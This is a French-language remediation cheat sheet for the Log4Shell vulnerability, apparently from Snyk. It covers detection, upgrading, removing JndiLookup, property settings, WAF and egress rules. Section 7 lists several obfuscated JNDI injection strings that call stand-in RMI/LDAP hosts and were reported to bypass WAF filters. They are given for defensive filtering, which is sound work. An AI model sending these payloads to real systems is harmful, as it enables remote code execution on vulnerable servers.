Fiche de remédiation Log4Shell

Note de la rédaction (28 décembre 2021 à 19 h 35 GMT) : L’équipe Log4j a publié une nouvelle mise à jour de sécurité et découvert que la version 2.17.0 était vulnérable à l’exécution de code à distance, identifiée par CVE-2021-44832. Nous vous recommandons de passer à la dernière version, qui est actuellement la version 2.17.1. La situation autour de Log4j évolue rapidement et nous mettons nos articles à jour au fur et à mesure que de nouvelles informations sont disponibles.

À présent, nous avons tous entendu parler de la vulnérabilité Log4Shell. Cette fiche de remédiation Log4Shell récapitule les principaux correctifs et recommandations mis en œuvre pour limiter l’exposition à la vulnérabilité et réduire le risque qu’elle soit exploitée dans les systèmes de production. Notez que ce document évolue et sera mis à jour au fur et à mesure que de nouvelles informations seront disponibles. Partagez-le avec la communauté afin que chacun sache comment contribuer dès maintenant à atténuer ce problème.

Dans cet article, nous allons examiner les recommandations de remédiation suivantes :

1. Améliorer la visibilité en identifiant les endroits où vos applications utilisent Log4j

2. Passer à Log4j 2.17.1 ou à une version ultérieure

3. Supprimer la fonctionnalité de recherche de Log4j

4. Désactiver les recherches à l’aide de propriétés

5. La mise à niveau de votre JDK ne suffit pas

6. Surveiller les projets avec la prise en charge des PR automatiques

7. Ajouter des règles WAF pour bloquer les requêtes entrantes malveillantes

8. Restreindre le trafic sortant vers Internet

Télécharger la fiche de remédiation Log4Shell

1. Améliorer la visibilité en identifiant les endroits où votre application utilise Log4j

L’un des principaux défis auxquels nous sommes confrontés actuellement est de comprendre où Log4j est introduit dans nos environnements de production. Il peut être intégré directement à nos applications ou indirectement, par l’intermédiaire des dépendances que nous utilisons. La première étape consiste donc à déterminer si vous utilisez Log4j et où. Notez qu’il y a de fortes chances que ce soit le cas sans que vous le sachiez.

Vous pouvez utiliser Snyk pour analyser l’ensemble de vos projets dans vos dépôts Git et obtenir un rapport de toutes vos dépendances directes et transitives. Ce rapport vous indiquera si vous utilisez Log4j et combien de chemins de votre graphe de dépendances y font appel. Notez que cette fonctionnalité est disponible dans l’offre gratuite en libre-service de Snyk, pour que vous puissiez commencer sans attendre.

Mise à jour : Snyk CLI propose une nouvelle commande conçue pour une seule tâche : détecter les traces de la bibliothèque Log4j touchée par la vulnérabilité Log4Shell. snyk log4shell teste votre projet Java compilé et détecte les traces de la bibliothèque vulnérable, même si celle-ci n’est pas déclarée dans les fichiers manifestes. Découvrez snyk log4shell et comment l’utiliser dans vos projets.

Vous pouvez également procéder manuellement en exécutant mvn dependency:tree | grep log4j sur vos projets Maven pour repérer où Log4j est utilisé dans l’arborescence des dépendances de chaque projet.

2. Passer à Log4j 2.17.1 ou à une version ultérieure

Remarque importante : la mise à niveau vers la version 2.17.1 corrige CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 et CVE-2021-44832.

L’équipe Log4j a intégré plusieurs correctifs de vulnérabilité à la version 2.17.1 de Log4j. Elle a également désactivé la fonctionnalité JNDI par défaut à partir de la version 2.16. Dans la mesure du possible, vous devez passer immédiatement à la version 2.17.1 ou ultérieure. C’est toutefois souvent plus facile à dire qu’à faire. Si Log4j est une dépendance directe de vos projets, la mise à jour peut être assez simple. S’il est ajouté en tant que dépendance transitive, par exemple parce que vous utilisez une dépendance qui elle-même utilise Log4j, vous devrez mettre à niveau cette dépendance vers une version qui utilise Log4j en version 2.17.1. Cette vulnérabilité étant très récente, il faudra du temps pour que les autres dépendances de notre écosystème adoptent cette version corrigée de Log4j. En attendant, nous devons atténuer le risque par d’autres moyens.

Remarque : si vous avez effectué le test avec Snyk à l’étape 1, vous pourrez lancer une mise à niveau automatique lorsque cela est possible en cliquant sur Ouvrir une PR. Vous passerez ainsi à la version corrigée la plus proche de Log4j (au moment de la rédaction, 2.17.1) ou d’autres dépendances directes qui utilisent Log4j.

Si vous utilisez Gradle, vous pouvez empêcher la résolution accidentelle d’une version vulnérable de Log4j dans votre projet grâce à la fonctionnalité de contraintes de dépendances. Ajoutez l’extrait suivant à votre configuration Gradle pour empêcher votre projet de résoudre une version de Log4j touchée par la vulnérabilité (consultez cet article de blog Gradle pour en savoir plus) :

1dependencies {
2    constraints {
3        implementation("org.apache.logging.log4j:log4j-core") {
4            version {
5                strictly("[2.15, 3[")
6                prefer("2.15.0")
7            }
8            because("CVE-2021-44228: Log4j vulnerable to remote code execution")
9        }
10    }
11}

3. Supprimer la fonctionnalité de recherche de Log4j

Si vous ne pouvez pas effectuer la mise à niveau — ou si vous souhaitez renforcer encore l’atténuation des risques — l’étape suivante consiste à supprimer la capacité de Log4j à effectuer ces recherches. Cette fonctionnalité se trouve dans JndiLookup.class au sein de vos environnements d’exécution. Notez que supprimer ce fichier des environnements en cours d’exécution ne suffit pas : vous devez également redémarrer votre environnement JVM. Si vous utilisez un serveur Tomcat, par exemple, vous devrez l’arrêter puis le redémarrer. Voici un exemple de commande pour supprimer le fichier de classe de votre JAR :

1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Il est également judicieux de supprimer en même temps d’autres classes susceptibles d’être utilisées dans cette attaque ou dans des attaques similaires. Il s’agit notamment de JndiManager, JMSAppender et SMTPAppender. Attention : supprimer des classes d’un environnement d’exécution peut entraîner un comportement inattendu.

4. Désactiver les recherches à l’aide de propriétés

Pour les versions de Log4j égales ou supérieures à 2.10, vous pouvez également désactiver les recherches par programmation en définissant la propriété système LOG4J_FORMAT_MSG_NO_LOOKUPS sur true, ou en définissant une variable d’environnement : Dlog4j2.formatMsgNoLookups=true. Log4j utilise ces variables pour déterminer s’il doit effectuer des recherches.

Comme pour la suppression des fichiers Log4j, ces modifications nécessitent un redémarrage de la JVM. Vous devrez peut-être, par exemple, arrêter puis redémarrer votre serveur Tomcat afin que les nouvelles propriétés soient prises en compte.

Notez qu’il a été établi que cette méthode ne constitue qu’un correctif partiel.

5. La mise à niveau de votre JDK ne suffit pas

Les premières recommandations suggéraient qu’une mise à niveau du JDK pouvait atténuer la vulnérabilité, mais il a été démontré par la suite qu’elle était inefficace contre cette vulnérabilité. Cela inclut la définition de com.sun.jndi.ldap.object.trustURLCodebase sur false.

6. Surveiller les projets avec la prise en charge des PR automatiques

Comme cette vulnérabilité zero-day évolue au jour le jour, il est important de veiller à rester aussi bien protégé que possible. Si vous utilisez Snyk, veillez à surveiller vos projets (cette option est activée par défaut lorsque vous importez un dépôt dans l’application Snyk). Snyk testera ainsi automatiquement vos projets chaque jour, en plus des autres tests effectués lorsque vous apportez des modifications.

Ces tests quotidiens détectent automatiquement les améliorations de sécurité possibles, notamment les nouveaux correctifs disponibles. Par exemple, si Log4j est une dépendance transitive du package A, le package A doit publier une version qui utilise Log4j en version 2.17.1. Cette version n’est peut-être pas disponible aujourd’hui, mais elle pourrait sortir demain ou la semaine prochaine. Avec snyk monitor, Snyk effectue des tests quotidiens et vous envoie une PR dès que la nouvelle mise à niveau est disponible. Celle-ci mettra Log4j à niveau afin de corriger la vulnérabilité.

Notez également que Snyk vous avertira, par le biais de PR ou d’autres mécanismes, si de nouveaux correctifs sont publiés pour cette vulnérabilité ou si de nouveaux vecteurs d’attaque sont découverts et font apparaître de nouvelles vulnérabilités. Vous saurez ainsi au plus vite quelles mesures prendre si d’autres problèmes surviennent.

7. Ajouter des règles WAF pour bloquer les requêtes entrantes malveillantes

Jusqu’à présent, nous nous sommes concentrés sur la partie applicative du processus de remédiation. Il est toutefois possible de prendre des mesures supplémentaires en dehors de l’application pour contribuer à atténuer le risque. Vous pouvez ajouter des règles WAF pour filtrer les requêtes entrantes.

Notez qu’il ne faut pas compter uniquement sur cette approche, car les attaquants créent chaque heure de nouvelles chaînes d’attaque capables de contourner ces règles. Vous devrez peut-être les ajouter manuellement, mais certains fournisseurs de WAF, comme Cloudflare, ont déjà publié de nouvelles règles pour bloquer les requêtes ressemblant à des attaques malveillantes exploitant cette vulnérabilité. Voici quelques exemples de tentatives d’attaque qui ont réussi à contourner les règles :

1${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
2${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
3${jndi:rmi://adsasd.asdasd.asdasd}
4${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
5${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
6${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
7${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
8${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://%s}

8. Restreindre le trafic sortant vers Internet

Les règles WAF limitent les requêtes qui parviennent à votre application, mais les requêtes sortantes de votre application vers un service de noms compromis, par exemple des requêtes LDAP malveillantes, représentent également un risque. Pour y remédier, vous pouvez mettre à jour vos règles de trafic sortant, par exemple dans votre configuration Kubernetes ou à l’aide d’autres mécanismes de votre environnement, afin de bloquer les requêtes sortantes qui semblent effectuer des recherches de noms malveillantes via Log4j.

Comme les règles WAF, cette mesure n’est pas infaillible : il reste possible de créer des charges utiles malveillantes sans requête réseau LDAP externe (par exemple, dans le cas des serveurs Tomcat décrit précédemment) en exploitant des gadgets vulnérables.

Quelle est cette nouvelle vulnérabilité zero-day Log4j ?

La nouvelle vulnérabilité a été découverte dans `log4j-core`, une bibliothèque Java open source qui est un composant de l’un des frameworks de journalisation Java les plus populaires. Elle est classée comme critique, avec un score CVSS de 10 (le score maximal). Lorsqu’une version vulnérable de Log4j est utilisée, toutes les données entrantes consignées dans les journaux peuvent entraîner l’exécution de code à distance.

Quelle est la gravité de la vulnérabilité Log4Shell ?

La réponse est simple : « très grave » ! Cette vulnérabilité de sécurité critique, qui obtient un score CVSS de 10 (le score maximal), permet aux attaquants d’exécuter du code à distance dans les environnements vulnérables. Il s’agit d’un problème majeur qui exige une intervention urgente.

Quand cette vulnérabilité Log4j a-t-elle été découverte ?

La nouvelle vulnérabilité zero-day Log4j a été divulguée le vendredi 10 décembre 2021.

Qui a découvert la vulnérabilité Log4j ?

La vulnérabilité a été découverte par Chen Zhaojun, de l’équipe Cloud Security d’Alibaba.